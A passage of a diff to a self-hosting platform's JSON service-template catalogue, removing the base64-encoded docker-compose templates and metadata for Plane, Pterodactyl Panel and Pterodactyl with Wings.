UwogICAgICBQT1NUR1JFU19EQjogcGxhbmUKICAgICAgUE9TVEdSRVNfUE9SVDogNTQzMgogICAgICBQR0RBVEE6IC92YXIvbGliL3Bvc3RncmVzcWwvZGF0YQogICAgICBSRURJU19IT1NUOiAnJHtSRURJU19IT1NUOi1wbGFuZS1yZWRpc30nCiAgICAgIFJFRElTX1BPUlQ6ICcke1JFRElTX1BPUlQ6LTYzNzl9JwogICAgICBSRURJU19VUkw6ICcke1JFRElTX1VSTDotcmVkaXM6Ly9wbGFuZS1yZWRpczo2Mzc5L30nCiAgICAgIE1JTklPX1JPT1RfVVNFUjogJFNFUlZJQ0VfVVNFUl9NSU5JTwogICAgICBNSU5JT19ST09UX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9NSU5JTwogICAgICBBV1NfUkVHSU9OOiAnJHtBV1NfUkVHSU9OOi19JwogICAgICBBV1NfQUNDRVNTX0tFWV9JRDogJFNFUlZJQ0VfVVNFUl9NSU5JTwogICAgICBBV1NfU0VDUkVUX0FDQ0VTU19LRVk6ICRTRVJWSUNFX1BBU1NXT1JEX01JTklPCiAgICAgIEFXU19TM19FTkRQT0lOVF9VUkw6ICcke0FXU19TM19FTkRQT0lOVF9VUkw6LWh0dHA6Ly9wbGFuZS1taW5pbzo5MDAwfScKICAgICAgQVdTX1MzX0JVQ0tFVF9OQU1FOiAnJHtBV1NfUzNfQlVDS0VUX05BTUU6LXVwbG9hZHN9JwogICAgICBSQUJCSVRNUV9IT1NUOiBwbGFuZS1tcQogICAgICBSQUJCSVRNUV9QT1JUOiAnJHtSQUJCSVRNUV9QT1JUOi01NjcyfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9VU0VSOiAnJHtTRVJWSUNFX1VTRVJfUkFCQklUTVE6LXBsYW5lfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9QQVNTOiAnJHtTRVJWSUNFX1BBU1NXT1JEX1JBQkJJVE1ROi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX0RFRkFVTFRfVkhPU1Q6ICcke1JBQkJJVE1RX1ZIT1NUOi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX1ZIT1NUOiAnJHtSQUJCSVRNUV9WSE9TVDotcGxhbmV9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBhcGkKICAgICAgLSBwbGFuZS1kYgogICAgICAtIHBsYW5lLXJlZGlzCiAgICAgIC0gcGxhbmUtbXEKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBlY2hvCiAgICAgICAgLSAnaGV5IHdoYXRzIHVwJwogICAgICBpbnRlcnZhbDogMnMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDE1CiAgbWlncmF0b3I6CiAgICBpbWFnZTogJ2FydGlmYWN0cy5wbGFuZS5zby9tYWtlcGxhbmUvcGxhbmUtYmFja2VuZDoke0FQUF9SRUxFQVNFOi12MS4wLjB9JwogICAgcmVzdGFydDogJ25vJwogICAgY29tbWFuZDogLi9iaW4vZG9ja2VyLWVudHJ5cG9pbnQtbWlncmF0b3Iuc2gKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2xvZ3NfbWlncmF0b3I6L2NvZGUvcGxhbmUvbG9ncycKICAgIGVudmlyb25tZW50OgogICAgICBBUFBfUkVMRUFTRTogJyR7QVBQX1JFTEVBU0U6LXYxLjAuMH0nCiAgICAgIFdFQl9VUkw6ICcke1NFUlZJQ0VfVVJMX1BMQU5FfScKICAgICAgREVCVUc6ICcke0RFQlVHOi0wfScKICAgICAgQ09SU19BTExPV0VEX09SSUdJTlM6ICcke0NPUlNfQUxMT1dFRF9PUklHSU5TOi1odHRwOi8vbG9jYWxob3N0fScKICAgICAgR1VOSUNPUk5fV09SS0VSUzogJyR7R1VOSUNPUk5fV09SS0VSUzotMX0nCiAgICAgIFVTRV9NSU5JTzogJyR7VVNFX01JTklPOi0xfScKICAgICAgREFUQUJBU0VfVVJMOiAncG9zdGdyZXNxbDovLyRTRVJWSUNFX1VTRVJfUE9TVEdSRVM6JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVNAcGxhbmUtZGIvcGxhbmUnCiAgICAgIFNFQ1JFVF9LRVk6ICRTRVJWSUNFX1BBU1NXT1JEXzY0X1NFQ1JFVEtFWQogICAgICBBTVFQX1VSTDogJ2FtcXA6Ly8ke1NFUlZJQ0VfVVNFUl9SQUJCSVRNUX06JHtTRVJWSUNFX1BBU1NXT1JEX1JBQkJJVE1RfUBwbGFuZS1tcToke1JBQkJJVE1RX1BPUlQ6LTU2NzJ9L3BsYW5lJwogICAgICBBUElfS0VZX1JBVEVfTElNSVQ6ICcke0FQSV9LRVlfUkFURV9MSU1JVDotNjAvbWludXRlfScKICAgICAgTUlOSU9fRU5EUE9JTlRfU1NMOiAnJHtNSU5JT19FTkRQT0lOVF9TU0w6LTB9JwogICAgICBQR0hPU1Q6IHBsYW5lLWRiCiAgICAgIFBHREFUQUJBU0U6IHBsYW5lCiAgICAgIFBPU1RHUkVTX1VTRVI6ICRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgUE9TVEdSRVNfUEFTU1dPUkQ6ICRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTCiAgICAgIFBPU1RHUkVTX0RCOiBwbGFuZQogICAgICBQT1NUR1JFU19QT1JUOiA1NDMyCiAgICAgIFBHREFUQTogL3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhCiAgICAgIFJFRElTX0hPU1Q6ICcke1JFRElTX0hPU1Q6LXBsYW5lLXJlZGlzfScKICAgICAgUkVESVNfUE9SVDogJyR7UkVESVNfUE9SVDotNjM3OX0nCiAgICAgIFJFRElTX1VSTDogJyR7UkVESVNfVVJMOi1yZWRpczovL3BsYW5lLXJlZGlzOjYzNzkvfScKICAgICAgTUlOSU9fUk9PVF9VU0VSOiAkU0VSVklDRV9VU0VSX01JTklPCiAgICAgIE1JTklPX1JPT1RfUEFTU1dPUkQ6ICRTRVJWSUNFX1BBU1NXT1JEX01JTklPCiAgICAgIEFXU19SRUdJT046ICcke0FXU19SRUdJT046LX0nCiAgICAgIEFXU19BQ0NFU1NfS0VZX0lEOiAkU0VSVklDRV9VU0VSX01JTklPCiAgICAgIEFXU19TRUNSRVRfQUNDRVNTX0tFWTogJFNFUlZJQ0VfUEFTU1dPUkRfTUlOSU8KICAgICAgQVdTX1MzX0VORFBPSU5UX1VSTDogJyR7QVdTX1MzX0VORFBPSU5UX1VSTDotaHR0cDovL3BsYW5lLW1pbmlvOjkwMDB9JwogICAgICBBV1NfUzNfQlVDS0VUX05BTUU6ICcke0FXU19TM19CVUNLRVRfTkFNRTotdXBsb2Fkc30nCiAgICAgIFJBQkJJVE1RX0hPU1Q6IHBsYW5lLW1xCiAgICAgIFJBQkJJVE1RX1BPUlQ6ICcke1JBQkJJVE1RX1BPUlQ6LTU2NzJ9JwogICAgICBSQUJCSVRNUV9ERUZBVUxUX1VTRVI6ICcke1NFUlZJQ0VfVVNFUl9SQUJCSVRNUTotcGxhbmV9JwogICAgICBSQUJCSVRNUV9ERUZBVUxUX1BBU1M6ICcke1NFUlZJQ0VfUEFTU1dPUkRfUkFCQklUTVE6LXBsYW5lfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9WSE9TVDogJyR7UkFCQklUTVFfVkhPU1Q6LXBsYW5lfScKICAgICAgUkFCQklUTVFfVkhPU1Q6ICcke1JBQkJJVE1RX1ZIT1NUOi1wbGFuZX0nCiAgICBkZXBlbmRzX29uOgogICAgICAtIHBsYW5lLWRiCiAgICAgIC0gcGxhbmUtcmVkaXMKICBwbGFuZS1kYjoKICAgIGltYWdlOiAncG9zdGdyZXM6MTUuNy1hbHBpbmUnCiAgICBjb21tYW5kOiAicG9zdGdyZXMgLWMgJ21heF9jb25uZWN0aW9ucz0xMDAwJyIKICAgIGVudmlyb25tZW50OgogICAgICBQR0hPU1Q6IHBsYW5lLWRiCiAgICAgIFBHREFUQUJBU0U6IHBsYW5lCiAgICAgIFBPU1RHUkVTX1VTRVI6ICRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgUE9TVEdSRVNfUEFTU1dPUkQ6ICRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTCiAgICAgIFBPU1RHUkVTX0RCOiBwbGFuZQogICAgICBQT1NUR1JFU19QT1JUOiA1NDMyCiAgICAgIFBHREFUQTogL3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhCiAgICB2b2x1bWVzOgogICAgICAtICdwZ2RhdGE6L3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1VICQke1BPU1RHUkVTX1VTRVJ9IC1kICQke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHBsYW5lLXJlZGlzOgogICAgaW1hZ2U6ICd2YWxrZXkvdmFsa2V5OjcuMi41LWFscGluZScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3JlZGlzZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSByZWRpcy1jbGkKICAgICAgICAtIHBpbmcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHBsYW5lLW1xOgogICAgaW1hZ2U6ICdyYWJiaXRtcTozLjEzLjYtbWFuYWdlbWVudC1hbHBpbmUnCiAgICByZXN0YXJ0OiBhbHdheXMKICAgIGVudmlyb25tZW50OgogICAgICBSQUJCSVRNUV9IT1NUOiBwbGFuZS1tcQogICAgICBSQUJCSVRNUV9QT1JUOiAnJHtSQUJCSVRNUV9QT1JUOi01NjcyfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9VU0VSOiAnJHtTRVJWSUNFX1VTRVJfUkFCQklUTVE6LXBsYW5lfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9QQVNTOiAnJHtTRVJWSUNFX1BBU1NXT1JEX1JBQkJJVE1ROi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX0RFRkFVTFRfVkhPU1Q6ICcke1JBQkJJVE1RX1ZIT1NUOi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX1ZIT1NUOiAnJHtSQUJCSVRNUV9WSE9TVDotcGxhbmV9JwogICAgdm9sdW1lczoKICAgICAgLSAncmFiYml0bXFfZGF0YTovdmFyL2xpYi9yYWJiaXRtcScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OiAncmFiYml0bXEtZGlhZ25vc3RpY3MgLXEgcGluZycKICAgICAgaW50ZXJ2YWw6IDMwcwogICAgICB0aW1lb3V0OiAzMHMKICAgICAgcmV0cmllczogMwogIHBsYW5lLW1pbmlvOgogICAgaW1hZ2U6ICdnaGNyLmlvL2Nvb2xsYWJzaW8vbWluaW86UkVMRUFTRS4yMDI1LTEwLTE1VDE3LTI5LTU1WicKICAgIGNvbW1hbmQ6ICdzZXJ2ZXIgL2V4cG9ydCAtLWNvbnNvbGUtYWRkcmVzcyAiOjkwOTAiJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIE1JTklPX1JPT1RfVVNFUjogJFNFUlZJQ0VfVVNFUl9NSU5JTwogICAgICBNSU5JT19ST09UX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9NSU5JTwogICAgdm9sdW1lczoKICAgICAgLSAndXBsb2FkczovZXhwb3J0JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIG1jCiAgICAgICAgLSByZWFkeQogICAgICAgIC0gbG9jYWwKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAo=", - "tags": [ - "plane", - "project-management", - "tool", - "open", - "source", - "api", - "nextjs", - "redis", - "postgresql", - "django", - "pm" - ], - "category": "productivity", - "logo": "svgs/plane.svg", - "minversion": "0.0.0" - }, "plex": { "documentation": "https://docs.linuxserver.io/images/docker-plex/?utm_source=coolify.io", "slogan": "Plex organizes video, music and photos from personal media libraries and streams them to smart TVs, streaming boxes and mobile devices.", @@ -3878,38 +3837,6 @@ "minversion": "0.0.0", "port": "9159" }, - "pterodactyl-panel": { - "documentation": "https://pterodactyl.io/?utm_source=coolify.io", - "slogan": "Pterodactyl is a free, open-source game server management panel", - "compose": "c2VydmljZXM6CiAgbWFyaWFkYjoKICAgIGltYWdlOiAnbWFyaWFkYjoxMS44JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdoZWFsdGhjaGVjay5zaCAtLWNvbm5lY3QgLS1pbm5vZGJfaW5pdGlhbGl6ZWQgfHwgZXhpdCAxJwogICAgICBzdGFydF9wZXJpb2Q6IDEwcwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDFzCiAgICAgIHJldHJpZXM6IDMKICAgIGVudmlyb25tZW50OgogICAgICAtIE1ZU1FMX1JPT1RfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfTVlTUUxST09UCiAgICAgIC0gTVlTUUxfREFUQUJBU0U9cHRlcm9kYWN0eWwtZGIKICAgICAgLSBNWVNRTF9VU0VSPSRTRVJWSUNFX1VTRVJfTVlTUUwKICAgICAgLSBNWVNRTF9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9NWVNRTAogICAgdm9sdW1lczoKICAgICAgLSAncHRlcm9kYWN0eWwtZGI6L3Zhci9saWIvbXlzcWwnCiAgcmVkaXM6CiAgICBpbWFnZTogJ3JlZGlzOmFscGluZScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncmVkaXMtY2xpIHBpbmcgfHwgZXhpdCAxJwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDFzCiAgICAgIHJldHJpZXM6IDMKICBwdGVyb2RhY3R5bDoKICAgIGltYWdlOiAnZ2hjci5pby9wdGVyb2RhY3R5bC9wYW5lbDp2MS4xMi4wJwogICAgdm9sdW1lczoKICAgICAgLSAncGFuZWwtdmFyOi9hcHAvdmFyLycKICAgICAgLSAncGFuZWwtbmdpbng6L2V0Yy9uZ2lueC9odHRwLmQvJwogICAgICAtICdwYW5lbC1jZXJ0czovZXRjL2xldHNlbmNyeXB0LycKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vZXRjL2VudHJ5cG9pbnQuc2gKICAgICAgICB0YXJnZXQ6IC9lbnRyeXBvaW50LnNoCiAgICAgICAgbW9kZTogJzA3NTUnCiAgICAgICAgY29udGVudDogIiMhL2Jpbi9zaFxuc2V0IC1lXG5cbiBlY2hvIFwiU2V0dGluZyBsb2dzIHBlcm1pc3Npb25zLi4uXCJcbiBjaG93biAtUiBuZ2lueDogL2FwcC9zdG9yYWdlL2xvZ3MvXG5cbiBVU0VSX0VYSVNUUz0kKHBocCBhcnRpc2FuIHRpbmtlciAtLW5vLWFuc2kgLS1leGVjdXRlPSdlY2hvIFxcUHRlcm9kYWN0eWxcXE1vZGVsc1xcVXNlcjo6d2hlcmUoXCJlbWFpbFwiLCBcIidcIiRBRE1JTl9FTUFJTFwiJ1wiKS0+ZXhpc3RzKCkgPyBcIjFcIiA6IFwiMFwiOycpXG5cbiBpZiBbIFwiJFVTRVJfRVhJU1RTXCIgPSBcIjBcIiBdOyB0aGVuXG4gICBlY2hvIFwiQWRtaW4gVXNlciBkb2VzIG5vdCBleGlzdCwgY3JlYXRpbmcgdXNlciBub3cuXCJcbiAgIHBocCBhcnRpc2FuIHA6dXNlcjptYWtlIC0tbm8taW50ZXJhY3Rpb24gXFxcbiAgICAgLS1hZG1pbj0xIFxcXG4gICAgIC0tZW1haWw9XCIkQURNSU5fRU1BSUxcIiBcXFxuICAgICAtLXVzZXJuYW1lPVwiJEFETUlOX1VTRVJOQU1FXCIgXFxcbiAgICAgLS1uYW1lLWZpcnN0PVwiJEFETUlOX0ZJUlNUTkFNRVwiIFxcXG4gICAgIC0tbmFtZS1sYXN0PVwiJEFETUlOX0xBU1ROQU1FXCIgXFxcbiAgICAgLS1wYXNzd29yZD1cIiRBRE1JTl9QQVNTV09SRFwiXG4gICBlY2hvIFwiQWRtaW4gdXNlciBjcmVhdGVkIHN1Y2Nlc3NmdWxseSFcIlxuIGVsc2VcbiAgIGVjaG8gXCJBZG1pbiBVc2VyIGFscmVhZHkgZXhpc3RzLCBza2lwcGluZyBjcmVhdGlvbi5cIlxuIGZpXG5cbiBleGVjIHN1cGVydmlzb3JkIC0tbm9kYWVtb25cbiIKICAgIGNvbW1hbmQ6CiAgICAgIC0gL2VudHJ5cG9pbnQuc2gKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnY3VybCAtc2YgaHR0cDovL2xvY2FsaG9zdDo4MCB8fCBleGl0IDEnCiAgICAgIGludGVydmFsOiAxMHMKICAgICAgdGltZW91dDogMXMKICAgICAgcmV0cmllczogMwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gSEFTSElEU19TQUxUPSRTRVJWSUNFX1BBU1NXT1JEX0hBU0hJRFMKICAgICAgLSBIQVNISURTX0xFTkdUSD04CiAgICAgIC0gU0VSVklDRV9VUkxfUFRFUk9EQUNUWUxfODAKICAgICAgLSAnQURNSU5fRU1BSUw9JHtBRE1JTl9FTUFJTDotYWRtaW5AZXhhbXBsZS5jb219JwogICAgICAtICdBRE1JTl9VU0VSTkFNRT0ke1NFUlZJQ0VfVVNFUl9BRE1JTn0nCiAgICAgIC0gJ0FETUlOX0ZJUlNUTkFNRT0ke0FETUlOX0ZJUlNUTkFNRTotQWRtaW59JwogICAgICAtICdBRE1JTl9MQVNUTkFNRT0ke0FETUlOX0xBU1ROQU1FOi1Vc2VyfScKICAgICAgLSAnQURNSU5fUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0FETUlOfScKICAgICAgLSAnUFRFUk9EQUNUWUxfSFRUUFM9JHtQVEVST0RBQ1RZTF9IVFRQUzotZmFsc2V9JwogICAgICAtIEFQUF9FTlY9cHJvZHVjdGlvbgogICAgICAtIEFQUF9FTlZJUk9OTUVOVF9PTkxZPWZhbHNlCiAgICAgIC0gQVBQX1VSTD0kU0VSVklDRV9VUkxfUFRFUk9EQUNUWUwKICAgICAgLSAnQVBQX1RJTUVaT05FPSR7VElNRVpPTkU6LVVUQ30nCiAgICAgIC0gJ0FQUF9TRVJWSUNFX0FVVEhPUj0ke0FQUF9TRVJWSUNFX0FVVEhPUjotYXV0aG9yQGV4YW1wbGUuY29tfScKICAgICAgLSAnTE9HX0xFVkVMPSR7TE9HX0xFVkVMOi1kZWJ1Z30nCiAgICAgIC0gQ0FDSEVfRFJJVkVSPXJlZGlzCiAgICAgIC0gU0VTU0lPTl9EUklWRVI9cmVkaXMKICAgICAgLSBRVUVVRV9EUklWRVI9cmVkaXMKICAgICAgLSBSRURJU19IT1NUPXJlZGlzCiAgICAgIC0gREJfREFUQUJBU0U9cHRlcm9kYWN0eWwtZGIKICAgICAgLSBEQl9VU0VSTkFNRT0kU0VSVklDRV9VU0VSX01ZU1FMCiAgICAgIC0gREJfSE9TVD1tYXJpYWRiCiAgICAgIC0gREJfUE9SVD0zMzA2CiAgICAgIC0gREJfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfTVlTUUwKICAgICAgLSBNQUlMX0ZST009JE1BSUxfRlJPTQogICAgICAtIE1BSUxfRFJJVkVSPSRNQUlMX0RSSVZFUgogICAgICAtIE1BSUxfSE9TVD0kTUFJTF9IT1NUCiAgICAgIC0gTUFJTF9QT1JUPSRNQUlMX1BPUlQKICAgICAgLSBNQUlMX1VTRVJOQU1FPSRNQUlMX1VTRVJOQU1FCiAgICAgIC0gTUFJTF9QQVNTV09SRD0kTUFJTF9QQVNTV09SRAogICAgICAtIE1BSUxfRU5DUllQVElPTj0kTUFJTF9FTkNSWVBUSU9OCg==", - "tags": [ - "game", - "game server", - "management", - "panel", - "minecraft" - ], - "category": "media", - "logo": "svgs/pterodactyl.png", - "minversion": "0.0.0", - "port": "80" - }, - "pterodactyl-with-wings": { - "documentation": "https://pterodactyl.io/?utm_source=coolify.io", - "slogan": "Pterodactyl is a free, open-source game server management panel", - "compose": "c2VydmljZXM6CiAgbWFyaWFkYjoKICAgIGltYWdlOiAnbWFyaWFkYjoxMS44JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdoZWFsdGhjaGVjay5zaCAtLWNvbm5lY3QgLS1pbm5vZGJfaW5pdGlhbGl6ZWQgfHwgZXhpdCAxJwogICAgICBzdGFydF9wZXJpb2Q6IDEwcwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDFzCiAgICAgIHJldHJpZXM6IDMKICAgIGVudmlyb25tZW50OgogICAgICAtIE1ZU1FMX1JPT1RfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfTVlTUUxST09UCiAgICAgIC0gTVlTUUxfREFUQUJBU0U9cHRlcm9kYWN0eWwtZGIKICAgICAgLSBNWVNRTF9VU0VSPSRTRVJWSUNFX1VTRVJfTVlTUUwKICAgICAgLSBNWVNRTF9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9NWVNRTAogICAgdm9sdW1lczoKICAgICAgLSAncHRlcm9kYWN0eWwtZGI6L3Zhci9saWIvbXlzcWwnCiAgcmVkaXM6CiAgICBpbWFnZTogJ3JlZGlzOmFscGluZScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncmVkaXMtY2xpIHBpbmcgfHwgZXhpdCAxJwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDFzCiAgICAgIHJldHJpZXM6IDMKICBwdGVyb2RhY3R5bDoKICAgIGltYWdlOiAnZ2hjci5pby9wdGVyb2RhY3R5bC9wYW5lbDp2MS4xMi4wJwogICAgdm9sdW1lczoKICAgICAgLSAncGFuZWwtdmFyOi9hcHAvdmFyLycKICAgICAgLSAncGFuZWwtbmdpbng6L2V0Yy9uZ2lueC9odHRwLmQvJwogICAgICAtICdwYW5lbC1jZXJ0czovZXRjL2xldHNlbmNyeXB0LycKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vZXRjL2VudHJ5cG9pbnQuc2gKICAgICAgICB0YXJnZXQ6IC9lbnRyeXBvaW50LnNoCiAgICAgICAgbW9kZTogJzA3NTUnCiAgICAgICAgY29udGVudDogIiMhL2Jpbi9zaFxuc2V0IC1lXG5cbiBlY2hvIFwiU2V0dGluZyBsb2dzIHBlcm1pc3Npb25zLi4uXCJcbiBjaG93biAtUiBuZ2lueDogL2FwcC9zdG9yYWdlL2xvZ3MvXG5cbiBVU0VSX0VYSVNUUz0kKHBocCBhcnRpc2FuIHRpbmtlciAtLW5vLWFuc2kgLS1leGVjdXRlPSdlY2hvIFxcUHRlcm9kYWN0eWxcXE1vZGVsc1xcVXNlcjo6d2hlcmUoXCJlbWFpbFwiLCBcIidcIiRBRE1JTl9FTUFJTFwiJ1wiKS0+ZXhpc3RzKCkgPyBcIjFcIiA6IFwiMFwiOycpXG5cbiBpZiBbIFwiJFVTRVJfRVhJU1RTXCIgPSBcIjBcIiBdOyB0aGVuXG4gICBlY2hvIFwiQWRtaW4gVXNlciBkb2VzIG5vdCBleGlzdCwgY3JlYXRpbmcgdXNlciBub3cuXCJcbiAgIHBocCBhcnRpc2FuIHA6dXNlcjptYWtlIC0tbm8taW50ZXJhY3Rpb24gXFxcbiAgICAgLS1hZG1pbj0xIFxcXG4gICAgIC0tZW1haWw9XCIkQURNSU5fRU1BSUxcIiBcXFxuICAgICAtLXVzZXJuYW1lPVwiJEFETUlOX1VTRVJOQU1FXCIgXFxcbiAgICAgLS1uYW1lLWZpcnN0PVwiJEFETUlOX0ZJUlNUTkFNRVwiIFxcXG4gICAgIC0tbmFtZS1sYXN0PVwiJEFETUlOX0xBU1ROQU1FXCIgXFxcbiAgICAgLS1wYXNzd29yZD1cIiRBRE1JTl9QQVNTV09SRFwiXG4gICBlY2hvIFwiQWRtaW4gdXNlciBjcmVhdGVkIHN1Y2Nlc3NmdWxseSFcIlxuIGVsc2VcbiAgIGVjaG8gXCJBZG1pbiBVc2VyIGFscmVhZHkgZXhpc3RzLCBza2lwcGluZyBjcmVhdGlvbi5cIlxuIGZpXG5cbiBleGVjIHN1cGVydmlzb3JkIC0tbm9kYWVtb25cbiIKICAgIGNvbW1hbmQ6CiAgICAgIC0gL2VudHJ5cG9pbnQuc2gKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnY3VybCAtc2YgaHR0cDovL2xvY2FsaG9zdDo4MCB8fCBleGl0IDEnCiAgICAgIGludGVydmFsOiAxMHMKICAgICAgdGltZW91dDogMXMKICAgICAgcmV0cmllczogMwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gSEFTSElEU19TQUxUPSRTRVJWSUNFX1BBU1NXT1JEX0hBU0hJRFMKICAgICAgLSBIQVNISURTX0xFTkdUSD04CiAgICAgIC0gU0VSVklDRV9VUkxfUFRFUk9EQUNUWUxfODAKICAgICAgLSAnQURNSU5fRU1BSUw9JHtBRE1JTl9FTUFJTDotYWRtaW5AZXhhbXBsZS5jb219JwogICAgICAtICdBRE1JTl9VU0VSTkFNRT0ke1NFUlZJQ0VfVVNFUl9BRE1JTn0nCiAgICAgIC0gJ0FETUlOX0ZJUlNUTkFNRT0ke0FETUlOX0ZJUlNUTkFNRTotQWRtaW59JwogICAgICAtICdBRE1JTl9MQVNUTkFNRT0ke0FETUlOX0xBU1ROQU1FOi1Vc2VyfScKICAgICAgLSAnQURNSU5fUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0FETUlOfScKICAgICAgLSAnUFRFUk9EQUNUWUxfSFRUUFM9JHtQVEVST0RBQ1RZTF9IVFRQUzotZmFsc2V9JwogICAgICAtIEFQUF9FTlY9cHJvZHVjdGlvbgogICAgICAtIEFQUF9FTlZJUk9OTUVOVF9PTkxZPWZhbHNlCiAgICAgIC0gQVBQX1VSTD0kU0VSVklDRV9VUkxfUFRFUk9EQUNUWUwKICAgICAgLSAnQVBQX1RJTUVaT05FPSR7VElNRVpPTkU6LVVUQ30nCiAgICAgIC0gJ0FQUF9TRVJWSUNFX0FVVEhPUj0ke0FQUF9TRVJWSUNFX0FVVEhPUjotYXV0aG9yQGV4YW1wbGUuY29tfScKICAgICAgLSAnTE9HX0xFVkVMPSR7TE9HX0xFVkVMOi1kZWJ1Z30nCiAgICAgIC0gQ0FDSEVfRFJJVkVSPXJlZGlzCiAgICAgIC0gU0VTU0lPTl9EUklWRVI9cmVkaXMKICAgICAgLSBRVUVVRV9EUklWRVI9cmVkaXMKICAgICAgLSBSRURJU19IT1NUPXJlZGlzCiAgICAgIC0gREJfREFUQUJBU0U9cHRlcm9kYWN0eWwtZGIKICAgICAgLSBEQl9VU0VSTkFNRT0kU0VSVklDRV9VU0VSX01ZU1FMCiAgICAgIC0gREJfSE9TVD1tYXJpYWRiCiAgICAgIC0gREJfUE9SVD0zMzA2CiAgICAgIC0gREJfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfTVlTUUwKICAgICAgLSBNQUlMX0ZST009JE1BSUxfRlJPTQogICAgICAtIE1BSUxfRFJJVkVSPSRNQUlMX0RSSVZFUgogICAgICAtIE1BSUxfSE9TVD0kTUFJTF9IT1NUCiAgICAgIC0gTUFJTF9QT1JUPSRNQUlMX1BPUlQKICAgICAgLSBNQUlMX1VTRVJOQU1FPSRNQUlMX1VTRVJOQU1FCiAgICAgIC0gTUFJTF9QQVNTV09SRD0kTUFJTF9QQVNTV09SRAogICAgICAtIE1BSUxfRU5DUllQVElPTj0kTUFJTF9FTkNSWVBUSU9OCiAgd2luZ3M6CiAgICBpbWFnZTogJ2doY3IuaW8vcHRlcm9kYWN0eWwvd2luZ3M6djEuMTIuMScKICAgIHJlc3RhcnQ6IHVubGVzcy1zdG9wcGVkCiAgICBwb3J0czoKICAgICAgLSAnMjAyMjoyMDIyJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfV0lOR1NfODQ0MwogICAgICAtICdUWj0ke1RJTUVaT05FOi1VVEN9JwogICAgICAtIFdJTkdTX1VTRVJOQU1FPXB0ZXJvZGFjdHlsCiAgICB2b2x1bWVzOgogICAgICAtICcvdmFyL3J1bi9kb2NrZXIuc29jazovdmFyL3J1bi9kb2NrZXIuc29jaycKICAgICAgLSAnL3Zhci9saWIvZG9ja2VyL2NvbnRhaW5lcnMvOi92YXIvbGliL2RvY2tlci9jb250YWluZXJzLycKICAgICAgLSAnL3Zhci9saWIvcHRlcm9kYWN0eWwvOi92YXIvbGliL3B0ZXJvZGFjdHlsLycKICAgICAg